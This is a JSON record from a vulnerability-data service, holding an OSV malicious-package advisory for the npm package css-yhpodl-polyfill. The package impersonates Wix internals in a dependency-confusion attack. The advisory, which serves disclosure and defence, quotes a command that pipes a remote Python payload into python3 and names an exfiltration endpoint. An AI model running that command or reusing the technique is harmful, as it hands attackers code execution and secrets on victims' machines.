{"id":"MAL-2026-17578","revision":null,"records":[{"revision":"e95c1e33a1104f2eb2a1c61a1dbc4ab0","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17578","aliases":[],"title":"Malicious code in css-yhpodl-polyfill (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857)\ncss-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.\n","state":0,"publishedAt":"2026-10-05T16:14:05+00:00","modifiedAt":"2026-10-05T16:31:36.9575384+00:00","affected":[{"ecosystem":"npm","name":"css-yhpodl-polyfill","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/css-yhpodl-polyfill/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17578","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17578","identifiers":["MAL-2026-17578"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1293575+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1293586+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-20b9291a59074a85bd9fdbd9e0ff98a8d24930e69329e59e2815bc7b300e21fc","complete":true,"records":424170,"lastAttemptAt":"2026-11-11T16:57:33.0518174+00:00","lastSuccessAt":"2026-11-11T16:57:32.8751677+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.0518174+00:00","snapshotPublishedAt":"2026-11-11T16:29:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4351c3aec21c46fa943fb5060158bd33","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T17:11:46.90421+00:00","lastSuccessAt":"2026-11-11T17:11:46.897+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T17:11:46.897+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13534,"expectedIdentifiers":13813,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T16:59:37.9488152+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T16:59:37.9488152+00:00","lastSuccessAt":"2026-11-11T16:59:38.1301472+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:38.1301474+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9169816ed33d4259981dbb50309d6730","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T16:59:52.0562868+00:00","lastSuccessAt":"2026-11-11T16:59:52.052+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:52.052+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T16:59:37.8157847+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.8157847+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T16:57:33.208402+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:57:33.208402+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T16:59:37.9166712+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.9166712+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-1443070691f712910eadc1ced449c2937aded59c9a578abda33e86dec787c46b","complete":true,"records":231689,"lastAttemptAt":"2026-11-11T16:59:37.6826554+00:00","lastSuccessAt":"2026-11-11T16:59:36.20998+00:00","error":null,"lastVerifiedAt":"2026-11-11T16:59:37.6826554+00:00","snapshotPublishedAt":"2026-11-11T16:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}